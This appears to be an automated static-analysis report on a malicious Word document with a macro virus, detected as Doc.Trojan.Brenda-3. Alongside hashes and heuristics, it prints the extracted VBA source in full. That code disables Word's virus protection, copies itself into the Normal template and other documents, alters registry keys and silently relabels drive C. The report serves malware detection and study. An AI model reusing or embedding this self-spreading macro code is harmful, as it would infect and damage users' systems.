Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7be17b5fdf79d549…

MALICIOUS

Office (OLE)

35.5 KB Created: 1999-12-22 10:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 523b2dfaa686b884f8e6b5ce716652ae SHA-1: 2ea5cd5e73570ef66381b8f48c8f2242006cf010 SHA-256: 7be17b5fdf79d5496ab64112f1eacebf527408957cf7af62a5d4857af8b64240
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a Document_Open VBA macro that executes upon opening the document. This macro uses `Shell()` and `System.PrivateProfileString` to modify registry keys, including `HKEY_CLASSES_ROOT CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}` and `HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008`. This behavior is indicative of malware attempting to establish persistence or download further malicious content.

Heuristics 5

  • ClamAV: Doc.Trojan.Brenda-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Brenda-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10796 bytes
SHA-256: 9d8b115426ad459af280e461a3fda56b78fb7ae805333e84e4fff627cbc6b233
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next

bSavedState = ActiveDocument.Saved
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
Options.VirusProtection = Not True
Options.SaveNormalPrompt = Not True
Options.ConfirmConversions = Not True

sLines = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)

If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Close()"

System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}", "") = "MY Computer"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon", "") = "C:\\WINDOWS\\SYSTEM\\shell32.dll,15"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Display Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000008", "SMTP Email Address") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Nico Mak Computing\WinZip\WinIni", "SN") = "415F7097"
System.PrivateProfileString("win.ini", "WinZip", "Name") = ""
System.PrivateProfileString("win.ini", "WinZip", "Name") = ""
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts", "name") = ""

Shell "label c: n0nuts", vbHide

ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Open()" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString sLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Open()"
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If

ActiveDocument.Saved = bSavedState


    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

' Processing file: /opt/analyzer/scan_staging/8522085aa2cd462ab0a755ed4b4eabea.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5097 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' Line #3:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St bSavedState 
' Line #4:
' 	SetStmt 
' 	Ld Norma
... (truncated)

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